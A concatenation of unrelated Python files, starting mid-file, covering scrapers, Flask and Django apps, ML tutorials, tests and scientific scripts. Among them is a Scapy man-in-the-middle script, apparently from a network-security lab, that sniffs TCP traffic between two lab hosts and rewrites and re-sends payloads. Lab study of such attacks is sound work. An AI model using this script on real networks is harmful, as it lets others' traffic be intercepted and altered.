        b.update(APP.window, sf.Mouse.get_position(APP.window))
        if APP.mouse_buttons[0] and b.hovered:
            """" DO BUTTON ACTION """
            APP.goToScene(b.scene_id)

def draw(APP):
    for t in TEXTS:
        t.render(APP.window)

    for b in BUTTONS:
        b.render(APP.window)

SANDBOX_SCENE = Scene(update, draw)


import openai
openai.api_key = "YOUR_API_KEY"

# Define the input sentences
input_sentences = [
    "The quick brown fox",
    "jumps over the lazy dog",
    "Hello, how are you?",
    "What is the meaning of life?",
    "To be or not to be, that is the question",
    "In the beginning God created the heavens and the earth",
    "The cat in the hat"
]

# Join the input sentences into a single string
input_text = " ".join(input_sentences)

# Use the GPT-3 API to generate a sentence based on the input text
response = openai.Completion.create(
    engine="davinci",
    prompt=input_text,
    max_tokens=50,
    n=1,
    stop=None,
    temperature=0.5
)

# Extract the generated sentence from the API response
generated_text = response.choices[0].text.strip()

# Print the generated sentence
print(generated_text)


import requests
import random
from bs4 import BeautifulSoup #@note-(install via pip3)
from selenium import webdriver #@note-parse ajax call back from website(install via pip3)

driver = webdriver.PhantomJS(executable_path=r'') # enter PhantomJS executable_path
driver.get('https://www.ptt.cc/bbs/StupidClown/index'+str(random.randrange(1,3187))+'.html') #find one page randomly
pageSource = driver.page_source
soup = BeautifulSoup(pageSource, 'html.parser')
topic=soup.findAll("div",{"class","title"})
driver.get('https://www.ptt.cc'+topic[random.randrange(1,20)].a['href'])#find one article randomly
pageSource = driver.page_source
soup = BeautifulSoup(pageSource, 'html.parser')
article =soup.findAll("div",{"class","bbs-screen bbs-content"},{"id","main-content"})
#sanitize unwanted contents
[s.extract() for s in soup('span')]
[s.extract() for s in soup("div",{"class","push"})]
[s.extract() for s in soup("div",{"class","richcontent"})]
[s.extract() for s in soup("div",{"class","article-metaline"})]
[s.extract() for s in soup("div",{"class","article-metaline-right"})]
[s.extract() for s in soup('a')]
#sanitize unwanted contents
print(article[0].text)


#!/usr/bin/python3

# -*- coding: utf-8 -*-

__version__ = '1.0.0'
__author__ = 'R. Ongaro','A. Mathieu'
__date__ = '23-01-2020'

import sys
import argparse
import textwrap
import requests as rq
from pathlib import Path
from bs4 import BeautifulSoup as bs
import re

import csv

# check python version
if sys.version_info < (3, 6):
    raise Exception("Please, run this script with a version of Python >= 3.6")

# default result directory path
_DEFAULT_RESULTS_DIR = Path("./results")

# url for scrapping data
_FIRST_URL = 'https://www.genome.jp/kegg-bin/find_pathway_object'
_FINAL_URL = 'https://www.genome.jp/kegg-bin/find_module_object'

# hidden <input> data to scrap
_SITE_HIDDEN_ATTR = ["uploadfile", "module_complete_file", "target",
                     "pathway_count", "brite_count", "brite_table_count", "module_count"]

def warn(msg):
    """Utils: print a warning
    """
    print(f"\033[93m{msg}\033[0m")

def create_directory(dirpath: Path = None):
    """Create result directory
    """
    if dirpath is None or not dirpath.is_dir():
        warn(
            f"Result directory missing, using '{_DEFAULT_RESULTS_DIR.resolve()}/' as result directory path.")
        dirpath = _DEFAULT_RESULTS_DIR
    dirpath.mkdir(exist_ok=True)
    return dirpath

def read_modules(modules_filepath: Path = None):
    """Read input module file.

    If it does not exist, give an empty list as expected modules.
    """
    mdata = None
    if modules_filepath is None:
        warn("Modules filepath is empty.")
        mdata = []
    else:
        if not modules_filepath.is_file():
            raise Exception(
                f"Modules file '{modules_filepath}' does not exist.")
        with modules_filepath.open("rt") as f:
            mdata = [line for line in f]
    return mdata

# def read_sample_data(sample_filepath: Path = None):
#     """Read input sample file.
#     """
#     if sample_filepath is None:
#         raise Exception("Sample filepath is empty.")
#     if not sample_filepath.is_file():
#         raise Exception(f"Sample file '{sample_filepath}' does not exist.")
#     # data = None
#     # with sample_filepath.open('rb') as f:
#     #     data = ''.join([line.decode("utf-8") for line in f])
#     data = {}
#     with sample_filepath.open('rt') as f:
#         for line in csv.reader(f):
#             k,v = line[0].split('\t')
#             data[k] = v
#     return data

def write_result_modules(result_filepath: Path = None, result_data=None):
    """Write end results to file

    Format for each line:
    <module_name> \\t <result_code> \\n
    """
    if result_filepath is None:
        raise Exception("Result filepath is empty.")
    if result_data is None:
        raise Exception("Result dataset is empty.")
    with result_filepath.open('wt') as f:
        for r in result_data:
            # module \t indice \n
            f.write(f"{r[0]}\t{r[1]}\n")

def process_sample(sample_filepath: Path = None, modules_filepath: Path = None, results_dir: Path = None):
    """Main process

    Create a sample codification for each module.
    """

    # result var
    final_results = []
    sample_modules = set()

    # headers
    headers = {
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br",
        "Origin": "https://www.genome.jp",
        "DNT": "1",
        "Connection": "keep-alive",
        "Referer": "https://www.genome.jp/kegg/mapper/reconstruct.html",
        "Cache-Control": "no-cache",
        "Pragma": "no-cache",
        "Upgrade-Insecure-Requests": "1",
        "Sec-Fetch-Dest": "document",
        "Sec-Fetch-Mode": "navigate",
        "Sec-Fetch-Site": "same-origin",
        "Sec-Fetch-User": "?1"
    }

    # modules
    modules = read_modules(modules_filepath=modules_filepath)

    # result file
    result_modules_filepath = results_dir.joinpath(
        f"{sample_filepath.stem}_modules.tsv")

    # sample data
    # sample_data_to_stream = {"unclassified": read_sample_data(
    #     sample_filepath=sample_filepath)}

    # print(sample_data_to_stream)
    # raise

    #
    html_text = None
    with rq.Session() as s:
        # send req
        # rq_content = s.post(_FIRST_URL, data=sample_data_to_stream, headers=headers)

        data_files= {
            "color_list": (
                sample_filepath.name,
                open(sample_filepath, "rb"),
                'multipart/form-data'
            )
        }
        rq_content = s.post(_FIRST_URL, files=data_files, headers=headers)
        content = rq_content.text

        # if status error
        if rq_content.status_code != 200:
            raise Exception("Service Error: request failed with code {} ({})",
                            rq_content.status_code, rq_content.text)

        # analyze first, get all hiddne inputs to use them in the next req
        soup = bs(content, features="html.parser")
        next_req_payload = {
            inp.attrs["name"]: inp.attrs["value"]
            for inp in soup.find_all('input')
            if inp.attrs["name"] in _SITE_HIDDEN_ATTR
        }
        next_req_payload = {**next_req_payload,
                            **{"mode": "all", "sort": "module"}}

        # final req
        rq_content = s.post(_FINAL_URL, data=next_req_payload, headers=headers)
        content = rq_content.text

        # if status error
        if rq_content.status_code != 200:
            raise Exception("Service Error: request failed with code {} ({})",
                            rq_content.status_code, rq_content.text)

        # parse final
        soup = bs(content, features="html.parser")
        html_text = soup.get_text().split('\n')

    # close session and parse webpage
    for html_line in html_text:
        # line = html_line.encode('ascii', 'ignore').strip(' ')
        line = html_line.strip(' ')
        # print(line)
        if line.startswith('M0'):
            # print(line)
            module = line[0:6]
            if not line.endswith(")"):
                raise Exception(f"Malformed line: '{line}'")
            # switch
            inc = "(incomplete"
            com = "(complete"
            l1 = "(1 block missing"
            l2 = "(2 blocks missing"
            missing = re.findall(r"\d+/\d+\)$", line)
            rat = missing[0].strip(")").split("/")[0]
            tot = missing[0].strip(")").split("/")[1]
            ratio = int(rat) / int(tot)
            # res
            final_results.append((module, ratio))
            sample_modules.add(module)

    # add missing modules
    for m in modules:
        if m not in sample_modules:
            final_results.append((m, '0'))

    # write result
    final_results.sort()
    write_result_modules(
        result_filepath=result_modules_filepath, result_data=final_results)

def get_argparser():
    """Create the argument parser
    """
    parser = argparse.ArgumentParser(prog="Reconstruct modules",
                                     add_help=True,
                                     formatter_class=argparse.RawDescriptionHelpFormatter,
                                     description=textwrap.dedent("""\
    Extract modules from KEGG Mapper Reconstruct Module via scraping and summarize output for subsequent analysis.

    Result codes are:
      0 ... complete
      1 ... 1 block missing
      2 ... 2 blocks missing
      3 ... incomplete
      4 ... not present
    """))
    # attr
    parser.add_argument("-s", "--sample-filepath", type=str,
                        help="A path to the sample filepath", required=True)
    parser.add_argument("-m", "--modules-filepath", type=str,
                        help="A path to the modules file")
    parser.add_argument("-r", "--result-directory", type=str,
                        help="A path to results directory, will be created if it does not exist")
    #
    return parser

def main(*args, **kwargs):
    """Main function
    """

    # create result dir
    res_dir = create_directory(kwargs["results_dirpath"])
    # exec
    process_sample(sample_filepath=kwargs["samples_filepath"],
                   modules_filepath=kwargs["modules_filepath"],
                   results_dir=res_dir)
    # yay
    print(f"Module reconstruction for '{kwargs['samples_filepath']}' done.")

if __name__ == '__main__':
    # build arg parser, top level parser
    parser = get_argparser()

    # parse arguments
    parsed_args, _ = parser.parse_known_args()

    # args and kwargs
    kw = {
        "samples_filepath": Path(parsed_args.sample_filepath) if parsed_args.sample_filepath is not None else None,
        "modules_filepath": Path(parsed_args.modules_filepath) if parsed_args.modules_filepath is not None else None,
        "results_dirpath": Path(parsed_args.result_directory) if parsed_args.result_directory is not None else None,
    }
    # exec
    main(**kw)


from flask import Blueprint, request, g, jsonify
from utils.dbOperation import MySQL
from utils.Response import Response, Error, Success, Warn
from exts import auth_token, db
from chat.model import Chat, Message
from utils.Enums import MessageType

chat_route = Blueprint('chat', __name__)

@chat_route.route('/get-chat-list', methods=['GET'])
@auth_token.login_required
def GetChatList():
    user_id = g.user_id
    res = MySQL.checkUserByID(user_id)
    if res.status != 200:
        return jsonify(Error.error.to_dict())
    if not res.data:
        return jsonify(Error(message="用户不存在！").to_dict())
    res = MySQL.getChatList(user_id)
    if res.status != 200:
        return jsonify(Error.error.to_dict())
    chat_list = res.data
    return jsonify(Success(data=chat_list, message="获取聊天列表成功！").to_dict())

@chat_route.route('/get-message-list/<chat_id>', methods=['GET'])
@auth_token.login_required
def GetMessageList(chat_id):
    cur_id = g.user_id
    if chat_id is None:
        return jsonify(Error(message="聊天ID不能为空!").to_dict())
    res = MySQL.checkChatExist(chat_id, cur_id)
    if res.status != 200:
        return jsonify(Error.error.to_dict())
    if res.data == "delete":
        return jsonify(Warn(message="您已被好友删除！").to_dict())
    if res.data == "black":
        return jsonify(Warn(message="您已被好友屏蔽！").to_dict())
    res = MySQL.getChatMessageList(chat_id)
    if res.status != 200:
        return jsonify(Error.error.to_dict())
    message_list = res.data
    return jsonify(Success(data=message_list, message="聊天消息获取成功！").to_dict())

@chat_route.route('/send-new-message/<chat_id>', methods=['POST'])
@auth_token.login_required
def SendNewMessage(chat_id):
    cur_id = g.user_id
    if chat_id is None:
        return jsonify(Error(message="聊天ID不能为空!").to_dict())
    content = request.json.get('content')
    if content is None:
        return jsonify(Error(message="消息内容不能为空!").to_dict())
    html = request.json.get('html')
    if html is None:
        return jsonify(Error(message="消息html不能为空!").to_dict())
    sender_id = request.json.get('sender_id')
    if sender_id is None:
        return jsonify(Error(message="发送者ID不能为空!").to_dict())
    msg_type = request.json.get('type')
    if msg_type is None:
        return jsonify(Error(message="消息类型不能为空!").to_dict())
    if msg_type != MessageType.text.value and msg_type != MessageType.emoji.value:
        return jsonify(Error(message="消息类型不存在!").to_dict())
    res = MySQL.checkChatExist(chat_id, cur_id)
    if res.status != 200:
        return jsonify(Error.error.to_dict())
    if res.data == "delete":
        return jsonify(Warn(message="您已被好友删除！").to_dict())
    if res.data == "black":
        return jsonify(Warn(message="您已被好友屏蔽！").to_dict())
    res = MySQL.sendNewMessage(chat_id, content, html, sender_id, msg_type)
    if res.status != 200:
        return jsonify(Error.error.to_dict())
    return jsonify(Success(message="消息发送成功！").to_dict())

# 退出聊天室
@chat_route.route('/close/<chat_id>', methods=['POST'])
def CloseChatRoom(chat_id):
    if chat_id:
        res = MySQL.leaveChatRoom(chat_id)
        if res.status != 200:
            return jsonify(Error.error.to_dict())
    return "已退出聊天"

# 生成词云
@chat_route.route('/gen-word-cloud/<chat_id>', methods=['GET'])
@auth_token.login_required
def GenerateWordCloud(chat_id):
    cur_id = g.user_id
    if chat_id is None:
        return jsonify(Error(message="聊天ID不能为空!").to_dict())
    res = MySQL.checkChatExist(chat_id, cur_id)
    if res.status != 200:
        return jsonify(Error.error.to_dict())
    if res.data == "delete":
        return jsonify(Warn(message="您已被好友删除！").to_dict())
    if res.data == "black":
        return jsonify(Warn(message="您已被好友屏蔽！").to_dict())
    res = MySQL.generateWordCloud(chat_id)
    if res.status != 200:
        return jsonify(Error.error.to_dict())
    return jsonify(Success(message="词云生成成功！", data=res.data).to_dict())


import argparse
import os

from tqdm import tqdm

from cvat import CvatDataset

def build_parser():
    parser = argparse.ArgumentParser("Add polygons according to sign class")
    parser.add_argument(
        "--input-file",
        type=str
    )
    parser.add_argument(
        "--output-folder",
        type=str
    )
    parser.add_argument(
        "--conf",
        action="store_true"
    )
    return parser

def polygon_to_box(points):
    return {
        "xtl": min(point[0] for point in points),
        "ytl": min(point[1] for point in points),
        "xbr": max(point[0] for point in points),
        "ybr": max(point[1] for point in points)
    }

def write_file(file, dict):
    if args.conf == True:
        file.write(str(dict["label"]) + " " + \
                   str(dict["conf"])  + " " + \
                   str(int(dict["xtl"]))  + " " + \
                   str(int(dict["ytl"]))  + " " + \
                   str(int(dict["xbr"]))  + " " + \
                   str(int(dict["ybr"])) + '\n')
    else:
        file.write(str(dict["label"]) + " " + \
                   str(int(dict["xtl"]))  + " " + \
                   str(int(dict["ytl"]))  + " " + \
                   str(int(dict["xbr"]))  + " " + \
                   str(int(dict["ybr"])) + '\n')

def main(args):
    ds = CvatDataset()
    ds.load(args.input_file)

    for file in os.listdir(args.output_folder):
        file_path = os.path.join(args.output_folder, file)
        if os.path.isfile(file_path):
            os.unlink(file_path)

    for image_id in tqdm(ds.get_image_ids()):
        f = open(args.output_folder+"/" + str(image_id) + '.txt', 'w')
        polygons = ds.get_polygons(image_id)
        for polygon in polygons:
            box = polygon_to_box(polygon["points"])
            box["label"] = polygon["label"]
            write_file(f, box)
        boxes = ds.get_boxes(image_id)
        for box in boxes:
            write_file(f, box)
        f.close()

if __name__ == "__main__":
    parser = build_parser()
    args = parser.parse_args()
    main(args)


from __future__ import absolute_import
from __future__ import division
from __future__ import print_function

import os
import subprocess
import time
import torch
import traceback
import unittest
import warnings
import pytest

import horovod.torch as hvd

from horovod.run import run

class InteractiveRunTests(unittest.TestCase):

    def __init__(self, *args, **kwargs):
        super(InteractiveRunTests, self).__init__(*args, **kwargs)
        warnings.simplefilter('module')

    def test_happy_run(self):

        def fn(a, b, c, d):
            hvd.init()
            rank = hvd.rank()
            v = a + b + c + d
            res = hvd.allgather(torch.tensor([rank, v])).tolist()
            if rank == 0:
                return res
            elif rank == 1:
                return "ret_val_of_rank_1"
            else:
                return None

        for use_gloo, use_mpi in [(True, False), (False, True)]:
            res1 = run(fn, (1, 20), {"c": 300, "d": 4000}, np=1, use_gloo=use_gloo, use_mpi=use_mpi)
            self.assertListEqual([[0, 4321]], res1)
            res2 = run(fn, (1, 20), {"c": 300, "d": 4000}, np=3, use_gloo=use_gloo, use_mpi=use_mpi)
            self.assertListEqual([[0, 4321, 1, 4321, 2, 4321],
                                  "ret_val_of_rank_1",
                                  None], res2)

    def test_failed_run(self):

        def fn():
            hvd.init()
            rank = hvd.rank()
            if rank == 1:
                raise RuntimeError()

        with pytest.raises(RuntimeError, match='Gloo job detected that one or more processes exited'):
            run(fn, np=2, use_gloo=True)

        with pytest.raises(RuntimeError, match='mpirun failed'):
            run(fn, np=2, use_mpi=True)


import pandas as pd
import numpy as np
import graphviz
from datetime import datetime
from sklearn.model_selection import train_test_split
from sklearn.svm import SVC
from sklearn.dummy import DummyClassifier
from sklearn.metrics import accuracy_score
from sklearn.preprocessing import StandardScaler
from sklearn.tree import DecisionTreeClassifier, export_graphviz

URI = 'https://bit.ly/2MPAH1Q'
SEED = 20

np.random.seed(SEED)
pd.set_option('display.max_columns', 10)
pd.set_option('display.width', 500)
df = pd.read_csv(URI)

renomear = {
    'mileage_per_year': 'milhas_por_ano',
    'model_year': 'ano_do_modelo',
    'price': 'preco',
    'sold': 'vendido'
}

trocar = {
    'no': 0,
    'yes': 1
}

df = df.rename(columns=renomear)
df.vendido = df.vendido.map(trocar)

ano_atual = datetime.today().year
df['idade_do_modelo'] = ano_atual - df.ano_do_modelo
df['km_por_ano'] = df.milhas_por_ano * 1.60934
df = df.drop(columns=["Unnamed: 0", "milhas_por_ano", "ano_do_modelo"], axis=1)
x = df[['preco', 'idade_do_modelo', 'km_por_ano']]
y = df['vendido']

raw_treino_x, raw_teste_x, treino_y, teste_y = train_test_split(x, y, test_size=0.25, stratify=y)
scaler = StandardScaler()
scaler.fit(raw_treino_x)
treino_x = scaler.transform(raw_treino_x)
teste_x = scaler.transform(raw_teste_x)

def treina_e_testa(teste_x, treino_x, treino_y, teste_y, model, nome):
    model.fit(treino_x, treino_y)
    resultado = model.predict(teste_x)

    acuracia = accuracy_score(teste_y, resultado) * 100
    print(f'A acurácia do algoritimo {nome} é de %.2f%%' % acuracia)

modelo_svc = SVC()
treina_e_testa(teste_x, treino_x, treino_y, teste_y, modelo_svc, 'SVC')

modelo_tree = DecisionTreeClassifier(max_depth=4)
treina_e_testa(raw_teste_x, raw_treino_x, treino_y, teste_y, modelo_tree, 'DecisionTreeClassifier')

dot_data = export_graphviz(modelo_tree, out_file=None, feature_names=x.columns,
                           filled=True, rounded=True, class_names=["não", "sim"])
grafico = graphviz.Source(dot_data)

grafico.view()

modelo_dummy_strat = DummyClassifier()
modelo_dummy_strat.fit(treino_x, treino_y)
acuracia_dummy = modelo_dummy_strat.score(teste_x, teste_y) * 100
print('A acurácia do Dummy Stratified foi %.2f%%' % acuracia_dummy)


import os
import platform
from collections import OrderedDict
from pathlib import Path
from typing import List, Tuple, Union

HOME_DIR = Path.home()
PROJECT_DIR = Path.cwd()
CONTEXT: OrderedDict = {{cookiecutter}}

removed_paths: List[Union[str, Path]] = []
moved_paths: List[Tuple[Union[str, Path], Union[str, Path]]] = [
    ("_gitignore", ".gitignore"),
]

def make_path(path: Union[str, Path]) -> Path:
    if isinstance(path, str):
        path = Path(path).expanduser()
    return path

def context_bool(key: str) -> bool:
    if CONTEXT[key] == "True":
        return True
    return False

def remove_paths():
    for path in removed_paths:
        path = make_path(path)
        path.unlink()

def move_paths():
    for src, dest in moved_paths:
        src = make_path(src)
        dest = make_path(dest)
        src.rename(dest)

remove_paths()
move_paths()


from django.shortcuts import render, redirect, get_object_or_404
from django.urls import reverse
from django.core.mail import send_mail
from .models import Task

def task_list(request):
    tasks = Task.objects.all()
    return render(request, 'tasks/task_list.html', {'tasks': tasks})

def create_task(request):
    if request.method == 'POST':
        title = request.POST['title']
        description = request.POST['description']
        due_date = request.POST['due_date']
        is_completed = False
        email = request.POST['email']
        phone_number = request.POST['phone_number']
        Task.objects.create(title=title, description=description, due_date=due_date, is_completed=is_completed,
                            email=email, phone_number=phone_number)
        return redirect('task_list')
    return render(request, 'tasks/create_task.html')

def edit_task(request, task_id):
    task = get_object_or_404(Task, id=task_id)

    if request.method == 'POST':
        task.title = request.POST['title']
        task.description = request.POST['description']
        task.due_date = request.POST['due_date']
        task.email = request.POST['email']
        task.phone_number = request.POST['phone_number']
        task.save()
        return redirect('task_list')

    return render(request, 'tasks/edit_task.html', {'task': task})

def delete_task(request, task_id):
    task = get_object_or_404(Task, id=task_id)
    task.delete()
    return redirect('task_list')

def mark_task_complete(request, task_id):
    task = get_object_or_404(Task, id=task_id)
    task.is_completed = True
    task.save()
    return redirect('task_list')

def mark_task_incomplete(request, task_id):
    task = get_object_or_404(Task, id=task_id)
    task.is_completed = False
    task.save()
    return redirect('task_list')

def send_email(request, task_id):
    task = get_object_or_404(Task, id=task_id)
    if request.method == 'POST':
        recipient_list = [task.email]
        subject = f"Task: {task.title}"
        message = task.description
        send_mail(subject, message, 'your_email@example.com', recipient_list)
        return redirect('task_list')

    return render(request, 'tasks/send_email.html', {'task': task})

def make_phone_call(request, task_id):
    task = get_object_or_404(Task, id=task_id)
    if request.method == 'POST':
        # Perform phone call action using a phone call API or library
        return redirect('task_list')

    return render(request, 'tasks/make_phone_call.html', {'task': task})


wr = open('bolt.txt','w')
def hanyora(ora):
    if ora >= 8 and ora <= 16:
        return f'a bolt nyitva van'
    else:
        return f'A bolt nincs nyitva'

ora = int(input('Hány óra van ?:'))
print(hanyora(ora))
wr.write(f'{ora}:óra van\n')
wr.write(f'{hanyora(ora)}')
wr.close()


#! /usr/bin/env python
# -*- coding: utf-8 -*-

from scapy.all import *

# A ----> B 发信息
# M 为中间人

# 1.运行arp_poisoning_mitm.py
# 2.打开流量转发
# 3.在A，B上运行nc
# 4.关闭流量转发
# 5.在M上运行MITM_attack.py
# 6.在A 上发信息

# 根据提示输入参数
# Machine A:
IP_A = "192.168.60.2"
MAC_A = "02:42:c0:a8:3c:02"

# Machine Server2:
IP_B = "10.0.2.7"
MAC_B = "02:42:22:05:fa:2e"  # Server2的MAC地址即为网关192.168.60.1的MAC地址

# Machine M:
IP_M = "192.168.60.3"
MAC_M = "02:42:c0:a8:3c:03"
old_str = "kevin"
new_str = "kevin_spoofed"
# --------------------------------------------------

add_num = 0  # 因字符串长度修改递增的数字
print("Starting MITM attack...")

# del checksum and IP len
def delete_chksum(pkt):
    del pkt[IP].len  # 删除IP长度
    del pkt[IP].chksum  # 删除IP校验和
    del pkt[TCP].chksum  # 删除TCP校验和
    del pkt.chksum  # 删除Ethernet校验和
    return pkt

def spoof_pkt(pkt):
    global add_num
    try:
        # 判断是否是本机发出的包
        if pkt.src == MAC_M:
            return
        if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
            # 判断是否是A->B的包
            pkt[TCP].seq = pkt[TCP].seq + add_num  # 增加序号
            pkt[Ether].src = MAC_M  # 修改源地址
            pkt[Ether].dst = MAC_B  # 修改目的地址
            old_data = pkt[TCP].load  # 获取原始数据
            print("old_data is:" + old_data)  # 打印原始数据
            new_data = old_data.replace(old_str, new_str)  # 替换数据
            print("new_data is:" + new_data)  # 打印新数据
            add_num = add_num + len(new_data) - len(old_data)  # 增加add_num
            del pkt[IP].load  # 删除原始数据
            pkt = pkt / new_data  # 添加新数据
        elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
            # 判断是否是B->A的包
            pkt[TCP].ack = pkt[TCP].ack - add_num  # 减少序号
            pkt[Ether].src = MAC_M  # 修改源地址
            pkt[Ether].dst = MAC_A  # 修改目的地址
        pkt = delete_chksum(pkt)  # 删除校验和
        sendp(pkt, verbose=0)  # 发送数据
    except Exception as e:
        print(e)

if __name__ == "__main__":
    f = "host {} and host {} and tcp".format(IP_A, IP_B)  # 指定抓包的目的地址与源地址
    sniff(prn=spoof_pkt, filter=f)


import unittest

from nltk import Tree

from opencricket.chart.sentence_parser import SentenceParser
from opencricket.chart.syntax_cache import SyntaxCache

class TestSentenceParser(unittest.TestCase):
    @classmethod
    def setUpClass(cls):
        SyntaxCache().build_cache()

    def setUp(self):
        self.input_tree = Tree.fromstring(
            "(matches (word_matches matches) (word_played played) (word_by by) (team sri lanka))")
        self.expected_dict = {'team': 'sri lanka', 'word_by': 'by', 'word_matches': 'matches', 'word_played': 'played'}

    def test_tree_to_dict(self):
        parser = SentenceParser('dummy')
        result_dict = parser.tree_to_dict(self.input_tree)
        self.assertEqual(self.expected_dict, result_dict)

if __name__ == '__main__':
    unittest.main()


""" testing models """
from uuid import UUID
from unittest.mock import patch
from django.test import TestCase

from bookwyrm import models, settings

@patch("bookwyrm.models.activitypub_mixin.broadcast_task.apply_async")
@patch("bookwyrm.lists_stream.remove_list_task.delay")
class List(TestCase):
    """some activitypub oddness ahead"""

    def setUp(self):
        """look, a list"""
        with patch("bookwyrm.suggested_users.rerank_suggestions_task.delay"), patch(
            "bookwyrm.activitystreams.populate_stream_task.delay"
        ), patch("bookwyrm.lists_stream.populate_lists_task.delay"):
            self.local_user = models.User.objects.create_user(
                "mouse", "mouse@mouse.mouse", "mouseword", local=True, localname="mouse"
            )
        work = models.Work.objects.create(title="hello")
        self.book = models.Edition.objects.create(title="hi", parent_work=work)

    def test_remote_id(self, *_):
        """shelves use custom remote ids"""
        book_list = models.List.objects.create(name="Test List", user=self.local_user)
        expected_id = f"https://{settings.DOMAIN}/list/{book_list.id}"
        self.assertEqual(book_list.get_remote_id(), expected_id)

    def test_to_activity(self, *_):
        """jsonify it"""
        book_list = models.List.objects.create(name="Test List", user=self.local_user)
        activity_json = book_list.to_activity()
        self.assertIsInstance(activity_json, dict)
        self.assertEqual(activity_json["id"], book_list.remote_id)
        self.assertEqual(activity_json["totalItems"], 0)
        self.assertEqual(activity_json["type"], "BookList")
        self.assertEqual(activity_json["name"], "Test List")
        self.assertEqual(activity_json["owner"], self.local_user.remote_id)

    def test_list_item(self, *_):
        """a list entry"""
        book_list = models.List.objects.create(
            name="Test List", user=self.local_user, privacy="unlisted"
        )

        item = models.ListItem.objects.create(
            book_list=book_list,
            book=self.book,
            user=self.local_user,
            order=1,
        )

        self.assertTrue(item.approved)
        self.assertEqual(item.privacy, "unlisted")
        self.assertEqual(item.recipients, [])

    def test_list_item_pending(self, *_):
        """a list entry"""
        book_list = models.List.objects.create(name="Test List", user=self.local_user)

        item = models.ListItem.objects.create(
            book_list=book_list,
            book=self.book,
            user=self.local_user,
            approved=False,
            order=1,
        )

        self.assertFalse(item.approved)
        self.assertEqual(item.book_list.privacy, "public")
        self.assertEqual(item.privacy, "direct")
        self.assertEqual(item.recipients, [])

    def test_embed_key(self, *_):
        """embed_key should never be empty"""
        book_list = models.List.objects.create(name="Test List", user=self.local_user)

        self.assertIsInstance(book_list.embed_key, UUID)


class Solution:
    def findTheDifference(self, s: str, t: str) -> str:
        from collections import Counter

        s_counter = Counter(s)
        t_counter = Counter(t)

        for k in t_counter.keys():
            if s_counter.get(k):
                t_counter[k] -= s_counter[k]
            else:
                return k

        for k in t_counter.keys():
            if t_counter[k] > 0:
                ans = k
        return ans


import pandas as pd
import streamlit as st
from plotly import graph_objs as go
from statsmodels.tsa.statespace.sarimax import SARIMAX

st.title('Apple Stock Price Forecast')
st.text('This app forecast the next 30 days Apple stock price by SARIMA model')

df = pd.read_csv("https://raw.githubusercontent.com/srikarthadaka/projects/main/stock_prediction/apple_forecast/aapl_data.csv",
                 index_col='Date')

value = st.slider("Select a value", 1, 30, 30, step=1)

def forecast(value):
    model_sarima = SARIMAX(df["Close"], order=(2,1,2), seasonal_order=(2,1,2,5))
    model_sarima_fit = model_sarima.fit()
    last_date = df.index[-1]
    date_range = pd.date_range(last_date, periods=value+1, freq='D')[1:]
    results = model_sarima_fit.forecast(steps=value)
    results.index = date_range
    return results

if st.button('Generate Forecast'):
    results = forecast(value)

    fig = go.Figure()
    fig.add_trace(go.Scatter(x=df.index, y=df['Close'], name="Actual Stock Price"))
    fig.add_trace(go.Scatter(x=results.index, y=results, name="Forecasted Stock Price",line=dict(color='red', width=2)))
    fig.layout.update(title_text='Stock Price forecast with Rangeslider', xaxis_rangeslider_visible=True)
    fig.update_layout(legend=dict(orientation="h",yanchor="bottom",y=1.02,xanchor="right",x=1))
    st.plotly_chart(fig)

    results_df = pd.DataFrame(results)
    st.table(results_df)


"""
This creates a layers file for a single time.

To test on mac:

run make_layers -test True
"""

from pathlib import Path
import argparse
import xarray as xr
from time import time
from PyCO2SYS import CO2SYS
import seawater as sw
from warnings import filterwarnings
filterwarnings('ignore') # skip some warning messages from CO2YS
import numpy as np
import sys

from lo_tools import plotting_functions as pfun

# defaults for testing
from lo_tools import Lfun
Ldir = Lfun.Lstart()
in_fn = (Ldir['roms_out'] /
    'cas6_v0_live' / 'f2019.07.04' / 'ocean_his_0002.nc')
out_fn = (Ldir['parent'] / 'LO_output' / 'post' /
    'cas6_v0_live' / 'f2019.07.04' / 'layers0' / 'tempfiles' / 'layers_000000.nc')
# in_fn = (Ldir['roms_out'] /
#     'cas6_v00_uu0mb' / 'f2021.07.04' / 'ocean_his_0002.nc')
# out_fn = (Ldir['parent'] / 'LO_output' / 'post' /
#     'cas6_v00_uu0mb' / 'f2021.07.04' / 'layers0' / 'tempfiles' / 'layers_000000.nc')
# make sure output directory exists
Lfun.make_dir(out_fn.parent)

parser = argparse.ArgumentParser()
parser.add_argument('-in_fn', default=in_fn, type=str)
parser.add_argument('-out_fn', default=out_fn, type=str)
parser.add_argument('-test', '--testing', default=False, type=Lfun.boolean_string)

args = parser.parse_args()
in_fn = Path(args.in_fn)
out_fn = Path(args.out_fn)
testing = args.testing

out_fn.unlink(missing_ok=True)

in_ds = xr.open_dataset(in_fn, decode_times=False)
out_ds = xr.Dataset()

# add time
out_ds['ocean_time'] = (('ocean_time'), in_ds.ocean_time.values)
out_ds['ocean_time'].attrs['units'] = Ldir['roms_time_units']
# add coordinates and other static 2-D fields
vn_list = [ 'lon_rho', 'lat_rho', 'mask_rho', 'h']
for vn in vn_list:
    out_ds[vn] = (('eta_rho', 'xi_rho'), in_ds[vn].values)
    out_ds[vn].attrs['long_name'] = in_ds[vn].attrs['long_name']
    try:
        out_ds[vn].attrs['units'] = in_ds[vn].attrs['units']
    except KeyError:
        pass

# Get ready to initialize the data layers.
if testing:
    depth_list = ['10']
else:
    depth_list = ['surface', '10', '20', '30', '50', 'bottom']

tag_dict = dict()
for depth in depth_list:
    if depth in ['surface', 'bottom']:
        tag_dict[depth] = ' at ' + depth
    else:
        tag_dict[depth] = ' at ' + depth + ' m depth'

if testing:
    # vn_in_list = ['temp', 'salt']
    # vn_out_list = ['temp', 'salt']
    vn_in_list = ['temp', 'salt', 'alkalinity', 'TIC']
    vn_out_list = ['temp', 'salt' , 'PH', 'ARAG']
else:
    # vn_in_list = ['temp', 'salt', 'phytoplankton', 'NO3', 'oxygen', 'rho', 'alkalinity', 'TIC']
    vn_in_list = ['temp', 'salt', 'phytoplankton', 'NO3', 'oxygen', 'alkalinity', 'TIC']
    vn_out_list = ['temp', 'salt', 'phytoplankton', 'NO3', 'oxygen', 'PH', 'ARAG']

do_carbon = True
# this flag is introduced to handle different testgin choices
if 'TIC' not in vn_in_list:
    do_carbon = False

# create zfull to use with the pfun.get_laym() function
